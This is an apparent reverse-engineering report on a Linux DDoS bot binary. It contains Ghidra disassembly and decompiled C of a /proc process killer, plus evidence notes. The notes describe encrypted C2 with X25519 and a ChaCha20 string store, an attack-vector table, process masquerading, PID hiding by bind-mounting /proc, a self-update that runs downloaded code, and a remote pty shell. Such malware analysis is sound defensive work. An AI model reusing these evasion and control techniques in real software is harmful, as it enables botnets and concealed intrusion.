004160bb75 22JNZ LAB_004160df
004160bdbe ad 01 00 00MOV ESI,0x1ad
004160c24c 89 f7MOV RDI,R14
004160c5e8 8f ef ff ffCALL FUN_00415059
004160ca48 85 c0TEST RAX,RAX
004160cd75 10JNZ LAB_004160df
004160cf48 89 efMOV RDI,RBP
004160d2e8 aa f9 ff ffCALL FUN_00415a81
004160d785 c0TEST EAX,EAX
004160d90f 84 39 01 00 00JZ LAB_00416218
LAB_004160df:
004160df44 89 ffMOV EDI,R15D
004160e2e8 99 f8 ff ffCALL FUN_00415980
004160e784 c0TEST AL,AL
004160e90f 85 29 01 00 00JNZ LAB_00416218
004160ef48 89 efMOV RDI,RBP
004160f2e8 cc f8 ff ffCALL FUN_004159c3
004160f784 c0TEST AL,AL
004160f975 3bJNZ LAB_00416136
004160fb4c 89 f6MOV RSI,R14
004160fe48 89 efMOV RDI,RBP
00416101e8 3f f1 ff ffCALL FUN_00415245
0041610685 c0TEST EAX,EAX
0041610874 2cJZ LAB_00416136
0041610a4c 89 f7MOV RDI,R14
0041610de8 ac f4 ff ffCALL FUN_004155be
0041611284 c0TEST AL,AL
0041611475 20JNZ LAB_00416136
004161164c 89 f7MOV RDI,R14
00416119e8 a9 ef ff ffCALL FUN_004150c7
0041611e85 c0TEST EAX,EAX
004161200f 85 33 01 00 00JNZ LAB_00416259
004161264c 89 f7MOV RDI,R14
00416129e8 5b ef ff ffCALL FUN_00415089
0041612e85 c0TEST EAX,EAX
004161300f 85 23 01 00 00JNZ LAB_00416259
LAB_00416136:
0041613648 89 efMOV RDI,RBP
00416139e8 43 f9 ff ffCALL FUN_00415a81
0041613e85 c0TEST EAX,EAX
004161400f 85 13 01 00 00JNZ LAB_00416259
0041614648 89 efMOV RDI,RBP
00416149e8 75 f8 ff ffCALL FUN_004159c3
0041614e84 c0TEST AL,AL
0041615075 4fJNZ LAB_004161a1
004161524c 89 f6MOV RSI,R14
0041615548 89 efMOV RDI,RBP
00416158e8 e8 f0 ff ffCALL FUN_00415245
0041615d85 c0TEST EAX,EAX
0041615f74 40JZ LAB_004161a1
00416161be ac 01 00 00MOV ESI,0x1ac
004161664c 89 f7MOV RDI,R14
00416169e8 eb ee ff ffCALL FUN_00415059
0041616e48 85 c0TEST RAX,RAX
0041617175 12JNZ LAB_00416185
00416173be ad 01 00 00MOV ESI,0x1ad
004161784c 89 f7MOV RDI,R14
0041617be8 d9 ee ff ffCALL FUN_00415059
0041618048 85 c0TEST RAX,RAX
0041618374 1cJZ LAB_004161a1
LAB_00416185:
0041618548 89 efMOV RDI,RBP
00416188e8 36 f8 ff ffCALL FUN_004159c3
0041618d84 c0TEST AL,AL
0041618f75 10JNZ LAB_004161a1
0041619148 89 efMOV RDI,RBP
00416194e8 8c fc ff ffCALL FUN_00415e25
0041619985 c0TEST EAX,EAX
0041619b0f 85 b8 00 00 00JNZ LAB_00416259
LAB_004161a1:
004161a148 89 efMOV RDI,RBP
004161a4e8 1a f8 ff ffCALL FUN_004159c3
004161a984 c0TEST AL,AL
004161ab74 0eJZ LAB_004161bb
LAB_004161ad:
004161ad48 89 efMOV RDI,RBP
004161b0e8 0e f8 ff ffCALL FUN_004159c3
004161b584 c0TEST AL,AL
004161b775 5fJNZ LAB_00416218
004161b9eb 12JMP LAB_004161cd
LAB_004161bb:
004161bb48 89 efMOV RDI,RBP
004161bee8 62 fc ff ffCALL FUN_00415e25
004161c385 c0TEST EAX,EAX
004161c50f 85 8e 00 00 00JNZ LAB_00416259
004161cbeb e0JMP LAB_004161ad
LAB_004161cd:
004161cd4c 89 f6MOV RSI,R14
004161d048 89 efMOV RDI,RBP
004161d3e8 6d f0 ff ffCALL FUN_00415245
004161d885 c0TEST EAX,EAX
004161da74 3cJZ LAB_00416218
004161dc4c 89 f7MOV RDI,R14
004161dfe8 da f3 ff ffCALL FUN_004155be
004161e484 c0TEST AL,AL
004161e675 30JNZ LAB_00416218
004161e84c 89 f7MOV RDI,R14
004161ebe8 28 fc ff ffCALL FUN_00415e18
004161f0fe c8DEC AL
004161f274 24JZ LAB_00416218
004161f44c 89 f7MOV RDI,R14
004161f7e8 cb ee ff ffCALL FUN_004150c7
004161fc85 c0TEST EAX,EAX
004161fe75 59JNZ LAB_00416259
004162004c 89 f7MOV RDI,R14
00416203e8 81 ee ff ffCALL FUN_00415089
0041620885 c0TEST EAX,EAX
0041620a75 4dJNZ LAB_00416259
0041620c4c 89 f7MOV RDI,R14
0041620fe8 21 f2 ff ffCALL FUN_00415435
0041621484 c0TEST AL,AL
0041621675 41JNZ LAB_00416259
LAB_00416218:
0041621844 89 ffMOV EDI,R15D
0041621be8 7f ee ff ffCALL FUN_0041509f
00416220e9 c3 fd ff ffJMP LAB_00415fe8
LAB_00416225:
0041622531 edXOR EBP,EBP
LAB_00416227:
0041622739 ebCMP EBX,EBP
004162297e 5cJLE LAB_00416287
0041622b44 8b a4 ac 00 10 00 00MOV R12D,dword ptr [RSP + RBP*0x4 + local_4034]
0041623344 89 e7MOV EDI,R12D
00416236e8 45 f7 ff ffCALL FUN_00415980
0041623b84 c0TEST AL,AL
0041623d75 15JNZ LAB_00416254
0041623f44 89 e7MOV EDI,R12D
00416242be 09 00 00 00MOV ESI,0x9
00416247e8 37 5e 00 00CALL FUN_0041c083
0041624c44 89 e7MOV EDI,R12D
0041624fe8 4b ee ff ffCALL FUN_0041509f
LAB_00416254:
0041625448 ff c5INC RBP
00416257eb ceJMP LAB_00416227
LAB_00416259:
0041625944 89 ffMOV EDI,R15D
0041625ce8 e0 f9 ff ffCALL FUN_00415c41
0041626181 fb ff 0f 00 00CMP EBX,0xfff
004162670f 8f 7b fd ff ffJG LAB_00415fe8
0041626d85 c0TEST EAX,EAX
0041626f0f 84 73 fd ff ffJZ LAB_00415fe8
0041627548 63 c3MOVSXD RAX,EBX
00416278ff c3INC EBX
0041627a44 89 bc 84 00 10 00 00MOV dword ptr [RSP + RAX*0x4 + 0x1000],R15D
00416282e9 61 fd ff ffJMP LAB_00415fe8
LAB_00416287:
0041628748 81 c4 08 50 00 00ADD RSP,0x5008
0041628e5bPOP RBX
0041628f5dPOP RBP
0041629041 5cPOP R12
0041629241 5dPOP R13
0041629441 5ePOP R14
0041629641 5fPOP R15
00416298c3RET

/proc walker with readlink

0x41720d502 bytes
undefined FUN_0041720d()

/proc walker with readlink (syscall profile)

Cited as
E19
Behaviours
B5, B10
Called from
FUN_00417403
Calls
FUN_0040d011, FUN_0040d01d, FUN_0040d040, FUN_0040d07f, FUN_0040d09b, thunk_FUN_0040d152, FUN_00415980, FUN_00416635, FUN_004166ba, FUN_004177dd, FUN_00417dc5, FUN_0041db41, FUN_0041dc97, FUN_0041dc9f, FUN_0041dcd6, FUN_0041dd01
Decompiled C · 67 lines
void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
  iVar3 = FUN_00417dc5(local_138,0);
  if (iVar3 == -1) {
LAB_004172cc:
    local_338[0] = '\0';
  }
  else {
    FUN_0040d011(local_338,0,0x100);
    lVar6 = FUN_0041dcd6(iVar3,local_338,0xff);
    FUN_0041db41(iVar3);
    if (lVar6 < 1) goto LAB_004172cc;
    for (pcVar5 = local_338; pcVar5 != local_338 + lVar6; pcVar5 = pcVar5 + 1) {
      if (*pcVar5 == '\0') {
        *pcVar5 = ' ';
      }
    }
    local_338[lVar6] = '\0';
  }
  iVar3 = FUN_004166ba(lVar4,local_338,1);
  if (iVar3 != 1) goto code_r0x00417341;
  goto LAB_004173e4;
code_r0x00417341:
  if (iVar3 != 0) {
    thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d01d(local_138,lVar4);
    FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xd10));
    lVar6 = FUN_0041dd01(local_138,local_238,0xff);
    if (((0 < lVar6) &&
        ((local_238[lVar6] = 0, DAT_006bbea0 == '\0' ||
         (iVar3 = FUN_0040d040(local_238,&DAT_006bbea0), iVar3 != 0)))) &&
       (iVar3 = FUN_004166ba(lVar4,local_238,0), iVar3 == 1)) {
LAB_004173e4:
      FUN_00416635(iVar2);
    }
  }
  goto LAB_00417221;
}

Assembly · 133 instructions, 0 annotated
AddressBytesInstructionComment
0041720d41 57PUSH R15
0041720f41 56PUSH R14
0041721141 55PUSH R13
0041721341 54PUSH R12
0041721555PUSH RBP
0041721653PUSH RBX
0041721748 89 fbMOV RBX,RDI
0041721a48 81 ec 18 03 00 00SUB RSP,0x318
LAB_00417221:
0041722148 89 dfMOV RDI,RBX
00417224e8 b4 05 00 00CALL FUN_004177dd
0041722948 89 c5MOV RBP,RAX
0041722c48 85 c0TEST RAX,RAX
0041722f0f 84 bc 01 00 00JZ LAB_004173f1
004172350f be 7d 13MOVSX EDI,byte ptr [RBP + 0x13]
00417239e8 5d 5e ff ffCALL FUN_0040d09b
0041723e85 c0TEST EAX,EAX
0041724074 dfJZ LAB_00417221
0041724248 83 c5 13ADD RBP,0x13
0041724648 89 efMOV RDI,RBP
00417249e8 31 5e ff ffCALL FUN_0040d07f
0041724e41 89 c4MOV R12D,EAX
0041725185 c0TEST EAX,EAX
004172537e ccJLE LAB_00417221
0041725589 c7MOV EDI,EAX
00417257e8 24 e7 ff ffCALL FUN_00415980
0041725c84 c0TEST AL,AL
0041725e75 c1JNZ LAB_00417221
00417260e8 32 6a 00 00CALL FUN_0041dc97
0041726544 39 e0CMP EAX,R12D
0041726874 b7JZ LAB_00417221
0041726ae8 30 6a 00 00CALL FUN_0041dc9f
0041726f44 39 e0CMP EAX,R12D
0041727274 adJZ LAB_00417221
0041727448 8b 05 75 74 21 00MOV RAX,qword ptr [DAT_0062e6f0]
0041727b4c 8d b4 24 10 02 00 00LEA R14,[RSP + 0x210]
004172834c 8d 6c 24 10LEA R13,[RSP + 0x10]
004172884c 89 f7MOV RDI,R14
0041728b48 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
00417292e8 dc 5e ff ffCALL thunk_FUN_0040d152
0041729748 89 eeMOV RSI,RBP
0041729a4c 89 f7MOV RDI,R14
0041729de8 7b 5d ff ffCALL FUN_0040d01d
004172a248 8b 05 47 74 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004172a94c 89 f7MOV RDI,R14
004172ac48 8b b0 a0 10 00 00MOV RSI,qword ptr [RAX + 0x10a0]
004172b3e8 65 5d ff ffCALL FUN_0040d01d
004172b831 f6XOR ESI,ESI
004172ba31 c0XOR EAX,EAX
004172bc4c 89 f7MOV RDI,R14
004172bfe8 01 0b 00 00CALL FUN_00417dc5
004172c483 f8 ffCMP EAX,-0x1
004172c741 89 c7MOV R15D,EAX
004172ca75 07JNZ LAB_004172d3
LAB_004172cc:
004172ccc6 44 24 10 00MOV byte ptr [RSP + local_338],0x0
004172d1eb 55JMP LAB_00417328
LAB_004172d3:
004172d3ba 00 01 00 00MOV EDX,0x100
004172d831 f6XOR ESI,ESI
004172da4c 89 efMOV RDI,R13
004172dde8 2f 5d ff ffCALL FUN_0040d011
004172e2ba ff 00 00 00MOV EDX,0xff
004172e74c 89 eeMOV RSI,R13
004172ea44 89 ffMOV EDI,R15D
004172ede8 e4 69 00 00CALL FUN_0041dcd6
004172f244 89 ffMOV EDI,R15D
004172f548 89 44 24 08MOV qword ptr [RSP + local_340],RAX
004172fae8 42 68 00 00CALL FUN_0041db41
004172ff48 8b 54 24 08MOV RDX,qword ptr [RSP + local_340]
0041730448 85 d2TEST RDX,RDX
004173077e c3JLE LAB_004172cc
004173094c 89 e8MOV RAX,R13
0041730c49 8d 4c 15 00LEA RCX,[R13 + RDX*0x1]
LAB_00417311:
0041731148 39 c8CMP RAX,RCX
0041731474 0dJZ LAB_00417323
0041731680 38 00CMP byte ptr [RAX],0x0
0041731975 03JNZ LAB_0041731e
0041731bc6 00 20MOV byte ptr [RAX],0x20
LAB_0041731e:
0041731e48 ff c0INC RAX
00417321eb eeJMP LAB_00417311
LAB_00417323:
00417323c6 44 14 10 00MOV byte ptr [RSP + RDX*0x1 + 0x10],0x0
LAB_00417328:
00417328ba 01 00 00 00MOV EDX,0x1
0041732d4c 89 eeMOV RSI,R13
0041733048 89 efMOV RDI,RBP
00417333e8 82 f3 ff ffCALL FUN_004166ba
0041733883 f8 01CMP EAX,0x1
0041733b0f 84 a3 00 00 00JZ LAB_004173e4
0041734185 c0TEST EAX,EAX
004173430f 84 d8 fe ff ffJZ LAB_00417221
0041734948 8b 05 a0 73 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004173504c 89 f7MOV RDI,R14
004173534c 8d bc 24 10 01 00 00LEA R15,[RSP + 0x110]
0041735b48 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
00417362e8 0c 5e ff ffCALL thunk_FUN_0040d152
0041736748 89 eeMOV RSI,RBP
0041736a4c 89 f7MOV RDI,R14
0041736de8 ab 5c ff ffCALL FUN_0040d01d
0041737248 8b 05 77 73 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004173794c 89 f7MOV RDI,R14
0041737c48 8b b0 10 0d 00 00MOV RSI,qword ptr [RAX + 0xd10]
00417383e8 95 5c ff ffCALL FUN_0040d01d
00417388ba ff 00 00 00MOV EDX,0xff
0041738d4c 89 feMOV RSI,R15
004173904c 89 f7MOV RDI,R14
00417393e8 69 69 00 00CALL FUN_0041dd01
0041739848 85 c0TEST RAX,RAX
0041739b0f 8e 80 fe ff ffJLE LAB_00417221
004173a1c6 84 04 10 01 00 00 00MOV byte ptr [RSP + RAX*0x1 + 0x110],0x0
004173a948 8d 05 f0 4a 2a 00LEA RAX,[DAT_006bbea0]
004173b080 38 00CMP byte ptr [RAX],0x0
004173b375 17JNZ LAB_004173cc
LAB_004173b5:
004173b531 d2XOR EDX,EDX
004173b74c 89 feMOV RSI,R15
004173ba48 89 efMOV RDI,RBP
004173bde8 f8 f2 ff ffCALL FUN_004166ba
004173c2ff c8DEC EAX
004173c40f 85 57 fe ff ffJNZ LAB_00417221
004173caeb 18JMP LAB_004173e4
LAB_004173cc:
004173cc48 8d 35 cd 4a 2a 00LEA RSI,[DAT_006bbea0]
004173d34c 89 ffMOV RDI,R15
004173d6e8 65 5c ff ffCALL FUN_0040d040
004173db85 c0TEST EAX,EAX
004173dd75 d6JNZ LAB_004173b5
004173dfe9 3d fe ff ffJMP LAB_00417221
LAB_004173e4:
004173e444 89 e7MOV EDI,R12D
004173e7e8 49 f2 ff ffCALL FUN_00416635
004173ece9 30 fe ff ffJMP LAB_00417221
LAB_004173f1:
004173f148 81 c4 18 03 00 00ADD RSP,0x318
004173f85bPOP RBX
004173f95dPOP RBP
004173fa41 5cPOP R12
004173fc41 5dPOP R13
004173fe41 5ePOP R14
0041740041 5fPOP R15
00417402c3RET

Cited addresses with no code to decompile: 0x426f20 (not executable (.rodata)), 0x4287e0 (not executable (.rodata)), 0x62b000 (not executable (.data)), 0x62b9e8 (not executable (.data))

Evidence 37

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

E1
read from the file·function

main (entry passes 0x4001f2 inside it to the libc start routine): ignores signals, chdir, decrypts the string store, rand init, single-instance lock, fork+setsid daemonise, closes stdio, process-name masquerade, then a select() loop that opens a non-blocking TCP socket to the resolved C2, sends a heartbeat every 6th idle round, and passes received bytes to the command parser 0x4138f6

in main
tool ghidra 12.1.4 decompbytes sha256 31be376a9ff08d8f7bb3bb0b7df2596673cb5c5a75c5c52506e58ddb0a75f0d3
E2
read from the file·function

string-store init: allocates 0x1dc 16-byte slots at *0x62e6f0 and adds 473 entries via 0x40d8fa(id, src, len); a second small table at 0x62e640 is filled via 0x40dae1; 0x40c607(id) is the accessor

tool ghidra 12.1.4 decompbytes sha256 a936eca2d042c500a46938c04091127343d26172908e45c47c5bffc277d4a82d
E3
read from the file·function

stream cipher called on every store entry with (key 0x62ba00, counter 1, nonce 0x62b9e8, buf, buf, len); builds its 16-byte constant from 0x426f20 XOR 0xa5 then loads it as 4 LE words - ChaCha20 shape

tool ghidra 12.1.4 decompbytes sha256 399d82c4e27cd53f2d46986972b9bfbf6a702f6cc04df5060360046d4b6f1c6e
E4
read from the file·address range
0x426f20

16 bytes in .rodata XOR-0xa5 encoded: the cipher constant read by 0x40d6c6

bytes sha256 fd28b395c478f3071f8f2383ecbe527a6a24b120842f128e6f94eb0cf118c200
E5
read from the file·address range
0x62b9e8

initialised .data holding the 12-byte nonce (0x62b9e8) and 32-byte key (0x62ba00) of the string-store cipher

bytes sha256 0d6eaee8281d1f9416d50472ab2104a7064c33c313968be3fcb1cd993f736cf8
E6
read from the file·function

command parser: 4-byte duration, 1-byte vector id; id 0xff with zero duration kills tracked child pids (0x400cd7), 0xfe runs the self-update (0x40c42a); else a target count with 5-byte ip+prefix records and a length-prefixed option list, handed to 0x400d2b

tool ghidra 12.1.4 decompbytes sha256 9c96cfad0ef173b7e295bb70f1787ef0af5a5b0a0d37d589400d0ea04ba2f363
E7
read from the file·function

attack start: double fork, the child sleeps for the duration and kills its parent; the worker looks up the vector id in the 16-byte {id, fn} table at 0x62b000 (count at 0x62b180) and calls fn(targets_n, targets, opts_n, opts)

tool ghidra 12.1.4 decompbytes sha256 5d6af5b3661aca22ba06c9b1c6e32bbe0c0368dd8928b92f455938df0dbbcc5b
E8
read from the file·address range
0x62b000

attack-method table: 24 records, ids 0..23, every pointer a user-code function (list in out/L0/method_table.json); 18 of the 24 targets create sockets and send, several bind raw/UDP sockets

bytes sha256 83ce5413c96aeeb489b5d57ac7b3bf0f77288838639a01acc52eb1413e3a113d
E9
read from the file·function

single-instance lock: socket/SO_REUSEADDR/non-blocking bind to loopback port 0x4d2 and listen, with a retry counter of 0x1a; main accepts on this socket and, when another copy connects, kills its workers and restarts itself

tool ghidra 12.1.4 decompbytes sha256 49ea10cd2849103dd05b1b938569cfa4b84bf330ceb2f3b37669648892f43621
E10
read from the file·function

local-address discovery: UDP socket connect to a public resolver address on port 53 then getsockname

tool ghidra 12.1.4 decompbytes sha256 9f6e5cdce1af5280cc1db155a4291fa747d5356638eee3345657db6f41ee6a6e
E11
read from the file·function set

process masquerade: when root, prctl(PR_SET_DUMPABLE,0) and prctl(PR_SET_NAME) to one of 8 store names (slots 0xe7-0xee) picked at random; argv[0] overwritten with a store name padded with spaces

tool ghidra 12.1.4 decompbytes sha256 45b6971d0815bcf78e81bd411db89a0c544dfc58bdbe234b0f2355a3ee902459
E12
read from the file·function set

pid hiding: as root, walks numeric /proc entries for a donor process whose name matches store slots 0x197-0x19f and mount(src=/proc/<donor>, dst=/proc/<self>, flags 0x1000 MS_BIND) over its own proc dir

tool ghidra 12.1.4 decompbytes sha256 ca73812ee94c72901ac0a8597237fba5ef3bf7c7a51b2cc79bf446a7bb35767e
E13
read from the file·function set

self-update on command 0xfe: 0x40b89c connects, sends a request and writes the response to a file path from the store, chmod 0755, execve it with a store-supplied argv[0]

tool ghidra 12.1.4 decompbytes sha256 9ec1f9b23a37540a99e9ae1b229589944b7918f1c9a5cad25e8be35a2d659750
E14
read from the file·function

C2 registration after connect: collects CPU count (store-named proc file, sysconf 0x54 fallback), memory size (sysconf 0x55 x 0x1e), uname, euid and rlimits and sends them with the bot id string

tool ghidra 12.1.4 decompbytes sha256 2cb41ccab18b7ad9b0f12552e683752a0dd0c2e42d32f802f796049f5ef7a9a9
E15
read from the file·function set

framed C2 channel: 21-byte headers with big-endian length and sequence number, two session modes (flags 0x62e700/0x62e704) with key-exchange state; in the plain mode received bytes are XORed with byte 0xed (0x40d665 called with 0xdeaffed) before parsing

tool ghidra 12.1.4 decompbytes sha256 5e6d39117b97201b9d7db1fad835c99afe2dcf22c8706cae7f9bc9f10b9d7d28
E16
reported by a tool·function set

capa: Curve25519 (matches at 0x411361, 0x411a92, 0x412488, in functions 0x411361, 0x411a32, 0x412385) and HMAC (0x411824, 0x412677) in the C2 channel code range 0x410c5b-0x412700

tool capa 9.4.0capa rule encrypt data using Curve25519; authenticate HMACbytes sha256 8aefd3a7684e87414d029a85ba74cb881d447400109bd84537354447bebeb7f0
E17
read from the file·function

C2 resolver: dotted-quad parse, else getaddrinfo, else own DNS queries to an 18-entry resolver table at 0x428860

tool ghidra 12.1.4 decompbytes sha256 5ad2529840b66fd144786d35402369df8c39b0e8834ca78e3d421367ce5c0e48
E18
read from the file·analysis output
out/L0/resolver_table.json

the 18 resolver addresses at VA 0x428860 (file offset 0x28860), 18 distinct

control {"check": "18 distinct well-formed IPv4 from 72 bytes, byte order per bswap+htonl at 0x414193", "passed": true}bytes sha256 319d86e48196454700541470df764a13e2f92e38a1895a4ba1986b78fb47039e
E19
read from the file·analysis output
out/L0/fn_syscalls.json

per-function syscall profile from capstone over every syscall site (out/L0/syscalls.json, 103 sites): process killer candidates 0x415fc6, 0x40cb5a, 0x41720d walk /proc (getdents64, readlink, kill); command exec 0x40d2bf (pipe, fork, execve, read back output); no import table - static musl-style libc in 0x4175f0-0x425000

bytes sha256 070a263ad6363d41148d4641ec76be221c2cf735ab9f9c3cac59f600215c8a2f
E20
read from the file·function

runs a program with pipe+fork+dup2+execve and reads its stdout into a caller buffer

tool ghidra 12.1.4 decompbytes sha256 f54d93dfdb6bb406da2eee7a80e8ef0cac6e7fa140c367c4b48d4537d4ec97a1
E21
read from the file·file header
ELF64 x86-64 ET_EXEC static, no PT_INTERP, no dynamic symbols, 546 functions

file form from out/digest.json and out/L0/ghidra_callgraph.summary.json

E22
decoded by the analysis·analysis output
out/L0/strtable/strings.json

string store decrypted with ChaCha20 (RFC 7539, counter 1) from the .data key and nonce: 461 of 484 sites give fully printable text, by class 200 identifiers, 163 paths, 24 hostnames, 9 format strings, 1 numeric

depends on ["E3", "E5"]control {"check": "printable ratio 1.0 on every accepted site; 3 wrong-parameter variants accepted 0 sites (out/L0/strtable/controls.json)", "passed": true, "detail": {"decoded": 461, "tried": 484, "c3_wrong_variants_tried": 3, "c3_accepted": 0}}bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d
E23
read from the file·analysis output
out/L0/strtable/census.json

484 store setter sites: 473 calls to 0x40d8fa (table T1) and 11 to 0x40dae1 (table T2), 5412 encrypted bytes, 0 unresolved

bytes sha256 a96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926ac
E24
decoded by the analysis·analysis output
out/L0/store_hosts.json

the 24 hostname-class store entries with slot ids: slots 0x0-0x7 share one source string, slots 0x8-0x10 and 0x13f-0x143 are further hosts, slot 0x113 is the host the self-update routine 0x40c42a reads (store offset 0x1130)

depends on ["E22"]bytes sha256 0b57e2fb7b838ab1164e634588377f90d4bfeb600200c7a9f4325e2ee36d039f
E25
decoded by the analysis·analysis output
out/L0/strtable/strings.json

slot classes for the analysed readers: masquerade names 0xe7-0xee and hiding/killer donor names 0x197-0x19f are short identifiers; 0x40c8fe paths 0x185 and 0x166, the registration's system files 0xde/0xdf (read by 0x4132d0) and the /proc prefix 0xce (0x41479d, 0x414879) are paths (scripts/slotclass.py prints class and length only)

depends on ["E22"]bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d
E26
read from the file·function

remote interactive shell over the C2 (second message class, called from the parser 0x4138f6): subtype data writes the payload to the held shell fd 0x62b9e4; subtype close ends it (0x40a948); subtype open picks a shell binary from 8 store paths plus slot 0x12d, opens the pty master (store path 0x130, O_RDWR|O_NOCTTY), unlock/ptsname, forks; the child calls setsid, opens the slave, ioctl TIOCSCTTY (0x540e), dup2 0/1/2, sets 4 environment variables from store names and the gathered user/home values, and execs the shell; the parent keeps the master fd and pid and relays output via 0x40a31c; without a pty it falls back to pipe+fork+exec

tool ghidra 12.1.4 decompbytes sha256 48e5ae2a631173fa892d2dc840c5d3e5b668db4a1b7f2acad370e30efef34a72
E27
read from the file·function set

shell environment discovery: 0x40a57f runs store-named programs (5 x 2 candidates) through the program runner 0x40d2bf and reads store-named files line by line to learn the user and home values, falling back to getcwd; 0x40a86a parses a colon-separated account file (store path 0x1b0) for the entry whose uid field equals getuid()

tool ghidra 12.1.4 decompbytes sha256 c7aa29239aaab77c5110dea35ad7c7e7db1fa03eca6c8ff3ba0e20178fc64d1a
E28
read from the file·function

shell message frame: validated by 0x40b0b8, subtype byte at +4, big-endian u16 length at +5 (max 0x1000), payload at +7

tool ghidra 12.1.4 decompbytes sha256 7677564592e4d5b300dbf72c5738098f09184aef7b764301f893cc6d9848376c
E29
read from the file·function set

C2 selection: 0x413189 walks store slots 0-7 as a ring from index 0x62efd8, resolves each non-empty one through 0x4143a1 and collects up to 32 addresses at 0x62efe8; 0x413aaa takes a random entry of a 14-entry u16 port table at 0x4287e0 and htons it

tool ghidra 12.1.4 decompbytes sha256 b7337a9f86ddc2727ffe2c56d63a1e2ef31e6ed9d85edd7e9e5e5c16ad32c5cf
E30
read from the file·address range
0x4287e0

14 non-zero distinct u16 C2 ports (host order; values in out/L0/port_table.json)

control {"check": "14 distinct non-zero u16 from exactly the 7 dwords 0x413aaa copies; index is rand % 0xe", "passed": true}bytes sha256 aa59019d4c52309b38f957fb633ff26e8ca49bd8a113ec4380503845f83cef11
E31
read from the file·function set

C2 session handshake (called from the registration 0x4132d0): random 32-byte X25519 ephemeral key clamped (&0xf8, &0x7f|0x40) and its public key via 0x411056; the peer public key is derived by 0x411361 from 32 embedded bytes (0x4122e0) hashed by 0x411241 and clamped; shared secret 0x410c5b; key expansion 0x4113bd with an 11-byte store label (slot 0x196); the hello frame is type byte, 32-byte ephemeral public key, 12-byte zero nonce, then the registration payload encrypted by 0x41159e; sets session flag 0x62e704

tool ghidra 12.1.4 decompbytes sha256 79f2984e30f6498442a0ac0796b18d27c2ff0d5e65811de00ee38c7cfc716105
E32
read from the file·function set

session frame receive: header byte must match 0x4122c9(5) (or (2) in the other mode), big-endian u16 length, u16 sequence equal to the expected counter; 0x412ad8 derives a MAC key with a 6-byte label at 0x4287cc, checks a 16-byte tag with 0x412677, then decrypts with the ChaCha20 routine 0x40d6c6 and increments the counter

tool ghidra 12.1.4 decompbytes sha256 17a059a5448c8f564c6828d5b34420cde7ca1cb39de5f7e90d7a9edebc02b22d
E33
read from the file·function set

instance marker page: 0x40c8fe first tries 16 store paths, then 0x40c6f4 scans /proc/<pid>/ store-named files for lines matching store slots 0x183/0x184 and opens the match, then memfd_create (syscall 0x13f) on a store name, then a 0600 file at store path 0x166; each candidate gets one byte written and is mapped 0x1000 bytes PROT_READ MAP_PRIVATE by 0x40c63d into 0x62bdc0; the content written is a single byte, not a copy of the binary

tool ghidra 12.1.4 decompbytes sha256 15f3ff747107249fba4b9a6d4e58321ee12d5c20e4aa1368247715a0b69d191a
E34
decoded by the analysis·analysis output
out/L0/strtable/strings.json

classes of the slots the deepen batch reads (scripts/deep2.py, class and length only): 0x12d, 0x130, 0x181, 0x183, 0x184, 0x1b0, 0x15e, 0x131 and 0x12b are paths; 0x12e/0x12f, 0x132, 0x134-0x136 and 0x12c are short identifiers; 0x196 and 0x133 are text

depends on ["E22"]bytes sha256 2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420d
E35
decoded by the analysis·analysis output
out/L0/strtable/strings_decoded.jsonl

per-site decode of the string store (484 lines, one per setter site): ChaCha20 RFC 7539 with the .data key and nonce and block counter 1; 461 sites accepted with printable ratio 1.0, 23 rejected by the likeness control

depends on ["E3", "E5"]control {"check": "string-likeness >= 0.9 over all census sites, plus wrong-parameter variants that must accept nothing", "passed": true, "detail": {"decoded": 461, "tried": 484, "c3_wrong_variants_tried": 3, "c3_accepted": 0, "undecoded_likeness": 23, "controls_file": "out/L0/strtable/controls.json"}}bytes sha256 eceaf7c14ba38a079484d4996b2d3238af10f08a473eea9f085390753990c0a5
E36
decoded by the analysis·analysis output
out/L0/strtable/census.json

census of the encrypted store's setter call sites, the inputs of the decode: 484 sites (473 via 0x40d8fa, 11 via 0x40dae1), 454 distinct source addresses, 5412 encrypted bytes, none unresolved or outside the file

depends on ["E2"]control {"check": "every setter call's (id, src, len) resolved to file-backed bytes", "passed": true, "detail": {"sites": 484, "setter_0x40d8fa": 473, "setter_0x40dae1": 11, "unresolved": 0, "not_file_backed": 0}}bytes sha256 a96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926ac
E37
decoded by the analysis·analysis output
out/L0/strtable/controls.json

the 16 bytes at file offset 0x26f20 XOR 0xa5 equal the RFC 7539 ChaCha20 constant (known-plaintext check of the cipher identification); key and nonce are non-zero

depends on ["E4"]control {"check": "unmasked constant equals the RFC 7539 sigma", "passed": true, "detail": {"sigma_is_rfc7539_constant": true}}bytes sha256 8d5f74217d8a2d1675711d58efe611ec659bbf2e4c7ecb35e11f8c332410ef5d

Run details

Run

